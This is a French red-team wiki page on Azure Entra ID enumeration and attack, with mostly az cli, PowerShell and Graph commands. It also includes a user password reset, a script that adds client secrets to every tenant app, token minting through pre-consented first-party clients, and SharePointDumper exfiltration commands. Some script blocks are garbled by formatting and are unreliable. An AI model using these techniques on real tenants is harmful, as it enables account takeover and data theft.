Az - Entra ID (AzureAD) & Azure IAM

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Informations de base

Azure Active Directory (Azure AD) sert de service cloud de Microsoft pour la gestion des identitĂ©s et des accĂšs. Il permet aux employĂ©s de se connecter et d’accĂ©der aux ressources, tant Ă  l’intĂ©rieur qu’à l’extĂ©rieur de l’organisation, incluant Microsoft 365, le Azure portal, et une multitude d’autres applications SaaS. La conception d’Azure AD est axĂ©e sur la fourniture de services d’identitĂ© essentiels, comprenant notamment authentification, autorisation et gestion des utilisateurs.

Les fonctionnalitĂ©s clĂ©s d’Azure AD incluent authentification multifacteur et accĂšs conditionnel, ainsi qu’une intĂ©gration transparente avec d’autres services de sĂ©curitĂ© Microsoft. Ces fonctionnalitĂ©s renforcent significativement la sĂ©curitĂ© des identitĂ©s des utilisateurs et permettent aux organisations de mettre en Ɠuvre et d’appliquer efficacement leurs politiques d’accĂšs. En tant que composant fondamental de l’écosystĂšme de services cloud de Microsoft, Azure AD est crucial pour la gestion des identitĂ©s des utilisateurs dans le cloud.

ÉnumĂ©ration

Connexion

az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity

# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com

# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph

# If you want to configure some defaults
az configure

# Get user logged-in already
az ad signed-in-user show

# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples

Lorsque vous effectuez un login via CLI sur Azure avec n’importe quel programme, vous utilisez une Azure Application d’un tenant appartenant Ă  Microsoft. Ces Applications, comme celles que vous pouvez crĂ©er dans votre compte, ont un client id. Vous ne pourrez pas toutes les voir dans les allowed applications lists visibles dans la console, mais elles sont autorisĂ©es par dĂ©faut.

Par exemple, un powershell script qui s’authentifie utilise une app avec le client id 1950a258-227b-4e31-a9cf-717495945fc2. MĂȘme si l’app n’apparaĂźt pas dans la console, un sysadmin pourrait bloquer cette application afin que les utilisateurs ne puissent pas accĂ©der en utilisant des outils qui se connectent via cette App.

Cependant, il existe d’autres client-ids d’applications qui vous permettront de vous connecter à Azure:

# The important part is the ClientId, which identifies the application to login inside Azure

$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue

$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue

Locataires

# List tenants
az account tenant list

Utilisateurs

Pour plus d’informations sur les utilisateurs Entra ID, consultez :

Az - Basic Information

# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all

# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq

Changer le mot de passe d’un utilisateur

$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force

(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose

MFA & Conditional Access Policies

Il est fortement recommandĂ© d’ajouter la MFA Ă  chaque utilisateur ; cependant, certaines entreprises ne l’activent pas ou la configurent via un Conditional Access : l’utilisateur devra utiliser la MFA si il se connecte depuis un emplacement spĂ©cifique, un navigateur ou une certaine condition. Ces politiques, si elles sont mal configurĂ©es, peuvent ĂȘtre vulnĂ©rables Ă  des bypasses. VĂ©rifiez :

Az - Conditional Access Policies & MFA Bypass

Groupes

Pour plus d’informations sur les groupes Entra ID, consultez :

Az - Basic Information

# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>

# To get Entra ID roles assigned check how it's done with users and use a group ID

Ajouter un utilisateur au groupe

Les propriétaires du groupe peuvent ajouter de nouveaux utilisateurs au groupe

Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose

Warning

Les groupes peuvent ĂȘtre dynamiques, ce qui signifie essentiellement que si un utilisateur remplit certaines conditions il sera ajoutĂ© Ă  un groupe. Bien sĂ»r, si les conditions sont basĂ©es sur des attributs qu’un utilisateur peut contrĂŽler, il pourrait abuser de cette fonctionnalitĂ© pour intĂ©grer d’autres groupes.
Consultez comment abuser des groupes dynamiques sur la page suivante :

Az - Dynamic Groups Privesc

Service Principals

Pour plus d’informations sur les Entra ID service principals, consultez :

Az - Basic Information

# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine

# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json

Warning

Le propriĂ©taire d’un Service Principal peut changer son mot de passe.

Lister et essayer d'ajouter un client secret pour chaque Enterprise App ```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications.

.PARAMETER GraphToken Pass the Graph API Token

.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken ‘eyJ0eX..’

.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>

[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )

$AppList = $null $AppPassword = $null

List All the Applications

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications” “Method” = “GET” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }

Add Password in the Application

if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()

foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject

$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications/$ID/addPassword” “Method” = “POST” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }

$Body = @{ “passwordCredential”= @{ “displayName” = “Password” } }

try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName “Object ID” -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName “App ID” -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName “App Name” -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName “Key ID” -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName “Secret” -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output “Failed to add new client secret to ‘$($App.displayName)’ Application.” } } if($Details -ne $null) { Write-Output “” Write-Output “Client secret added to : “ Write-Output $Details | fl * } } else { Write-Output “Failed to Enumerate the Applications.” } }

</details>

### Applications

Pour plus d'informations sur Applications, consultez :

<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>

Lorsqu'une App est générée, 3 types d'autorisations sont accordées :

- **Permissions** accordées au **Service Principal** (via roles).
- **Permissions** que l'**app** peut avoir et utiliser au **nom de l'utilisateur**.
- **API Permissions** qui donnent à l'app des permissions sur EntraID sans nécessiter que d'autres roles accordent ces permissions.

{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"

# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]

## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv

## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Trouver toutes les permissions d'API des applications et marquer Microsoft-owned APIs (az cli) ```bash #!/usr/bin/env bash set -euo pipefail

Known Microsoft first-party owner organization IDs.

MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )

is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }

get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”

value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi

if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi

[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }

command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null

apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”

tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT

Build unique resourceAppId values used by applications.

jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”

Resolve resourceAppId -> owner organization + API display name.

while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”

echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”

Print all app API permissions and mark if the target API is Microsoft-owned.

while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“

while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“

[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”

if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi

permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)

echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)

</details>

{{#endtab }}

{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential

{{#endtab }}

{{#tab name=“MS Graph” }}

# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All

# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *

# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName

# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>

# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications

{{#endtab }}

{{#tab name=“Azure AD” }}

# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id>  | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *

{{#endtab }} {{#endtabs }}

Warning

Une application disposant de la permission AppRoleAssignment.ReadWrite peut escalader en Global Admin en s’octroyant elle-mĂȘme le rĂŽle.
Pour plus d’informations check this.

Note

Une chaĂźne secrĂšte que l’application utilise pour prouver son identitĂ© lors de la demande d’un token est le password.
Donc, si vous trouvez ce password, vous pouvez accĂ©der en tant que service principal Ă  l’intĂ©rieur du tenant.
Notez que ce password n’est visible qu’au moment de sa gĂ©nĂ©ration (vous pouvez le changer mais vous ne pouvez pas le rĂ©cupĂ©rer).
Le propriĂ©taire de l’application peut add a password Ă  celle-ci (il peut donc se faire passer pour elle).
Les connexions en tant que ces service principals ne sont pas marquĂ©es comme risquĂ©es et elles n’auront pas de MFA.

Il est possible de trouver une liste d’App IDs couramment utilisĂ©s appartenant Ă  Microsoft dans https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications

Managed Identities

For more information about Managed Identities check:

Az - Basic Information

# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals

RĂŽles Azure

Pour plus d’informations sur les rîles Azure, consultez :

Az - Basic Information

# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"

RĂŽles Entra ID

Pour plus d’informations sur les rîles Azure, consultez :

Az - Basic Information

# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"

# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"

# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"

# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'

# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"

# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"

# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json

Appareils

# If you know how to do this send a PR!

Warning

Si un appareil (VM) est AzureAD joined, les utilisateurs d’AzureAD pourront se connecter.
De plus, si l’utilisateur connectĂ© est Owner de l’appareil, il sera administrateur local.

Unités administratives

Pour plus d’informations sur les unitĂ©s administratives, consultez :

Az - Basic Information

# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"

Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)

Des attaquants disposant d’un delegated Microsoft Graph token qui inclut Sites.Read.All ou Sites.ReadWrite.All peuvent Ă©numĂ©rer sites/drives/items via Graph puis rĂ©cupĂ©rer le contenu des fichiers via des SharePoint pre-authentication download URLs (URLs temporelles incorporant un access token). Le script SharePointDumper automatise le flux complet (Ă©numĂ©ration → pre-auth downloads) et Ă©met une tĂ©lĂ©mĂ©trie par requĂȘte pour les tests de dĂ©tection.

Obtention de delegated tokens utilisables

  • SharePointDumper lui-mĂȘme ne s’authentifie pas ; fournissez un access token (Ă©ventuellement refresh token).
  • Des first-party clients prĂ©-consentis peuvent ĂȘtre abusĂ©s pour gĂ©nĂ©rer un Graph token sans enregistrer d’app. Exemple d’invocations Invoke-Auth (depuis EntraTokenAid) :
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob'  # OneDrive (FOCI TRUE)

# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient'              # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint'        # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)

Note

Les clients FOCI TRUE prennent en charge le refresh sur plusieurs appareils ; les clients FOCI FALSE exigent souvent -Origin pour satisfaire la validation de l’origine de la reply URL.

Exécution de SharePointDumper pour enumeration + exfiltration

  • Dump basique avec custom UA / proxy / throttling:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
  • ContrĂŽle de la portĂ©e : inclure/exclure des sites ou extensions et plafonds globaux :
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
  • Reprendre les exĂ©cutions interrompues (réénumĂšre mais ignore les Ă©lĂ©ments tĂ©lĂ©chargĂ©s):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
  • RafraĂźchissement automatique du token sur HTTP 401 (requiert EntraTokenAid chargĂ©):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'

Notes opérationnelles :

  • PrĂ©fĂšre les tokens CAE-enabled pour Ă©viter une expiration en cours d’exĂ©cution ; les tentatives de rafraĂźchissement ne sont pas enregistrĂ©es dans le journal API de l’outil.
  • GĂ©nĂšre des journaux de requĂȘtes CSV/JSON pour Graph + SharePoint et masque par dĂ©faut les tokens de tĂ©lĂ©chargement SharePoint intĂ©grĂ©s (paramĂ©trable).
  • Supporte custom User-Agent, HTTP proxy, dĂ©lai par requĂȘte + jitter, et arrĂȘt sĂ»r avec Ctrl+C pour le shaping du trafic lors de tests de dĂ©tection/IR.

Entra ID Privilege Escalation

Az - EntraID Privesc

Azure Privilege Escalation

Az - Azure IAM Privesc (Authorization)

Mécanismes défensifs

Privileged Identity Management (PIM)

Privileged Identity Management (PIM) dans Azure aide Ă  prĂ©venir l’attribution excessive de privilĂšges aux utilisateurs inutilement.

Une des principales fonctionnalitĂ©s fournies par PIM est qu’il permet de ne pas attribuer des rĂŽles Ă  des principaux qui sont constamment actifs, mais de les rendre Ă©ligibles pour une pĂ©riode donnĂ©e (par ex. 6 mois). Ensuite, chaque fois que l’utilisateur veut activer ce rĂŽle, il doit en faire la demande en indiquant la durĂ©e dont il a besoin (par ex. 3 heures). Ensuite un administrateur doit approuver la demande.
Notez que l’utilisateur pourra aussi demander Ă  Ă©tendre la durĂ©e.

De plus, PIM envoie des e-mails chaque fois qu’un rĂŽle privilĂ©giĂ© est attribuĂ© Ă  quelqu’un.

Quand PIM est activé, il est possible de configurer chaque rÎle avec certaines exigences comme :

  • DurĂ©e maximale (heures) d’activation
  • Exiger MFA Ă  l’activation
  • Exiger le contexte d’authentication Conditional Access
  • Exiger une justification lors de l’activation
  • Exiger des informations de ticket lors de l’activation
  • Exiger une approbation pour activer
  • DurĂ©e maximale avant expiration des attributions Ă©ligibles
  • Beaucoup d’autres configurations sur quand et Ă  qui envoyer des notifications lorsque certaines actions surviennent avec ce rĂŽle

Conditional Access Policies

Voir :

Az - Conditional Access Policies & MFA Bypass

Entra Identity Protection

Entra Identity Protection est un service de sĂ©curitĂ© qui permet de dĂ©tecter quand un utilisateur ou une connexion est trop risquĂ© pour ĂȘtre acceptĂ©, permettant de bloquer l’utilisateur ou la tentative de connexion.

Il permet Ă  l’administrateur de le configurer pour bloquer les tentatives lorsque le risque est “Low and above”, “Medium and above” ou “High”. Toutefois, par dĂ©faut il est complĂštement dĂ©sactivĂ© :

Tip

De nos jours, il est recommandĂ© d’ajouter ces restrictions via des politiques Conditional Access lorsque cela est possible, oĂč il est possible de configurer les mĂȘmes options.

Entra Password Protection

Entra Password Protection (https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade) est une fonctionnalitĂ© de sĂ©curitĂ© qui aide Ă  prĂ©venir l’abus des mots de passe faibles en verrouillant les comptes lorsqu’un certain nombre de tentatives de connexion Ă©chouent.
Elle permet aussi de bloquer une liste personnalisée de mots de passe que vous fournissez.

Elle peut ĂȘtre appliquĂ©e Ă  la fois au niveau cloud et sur Active Directory on-premises.

Le mode par défaut est Audit :

Références

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks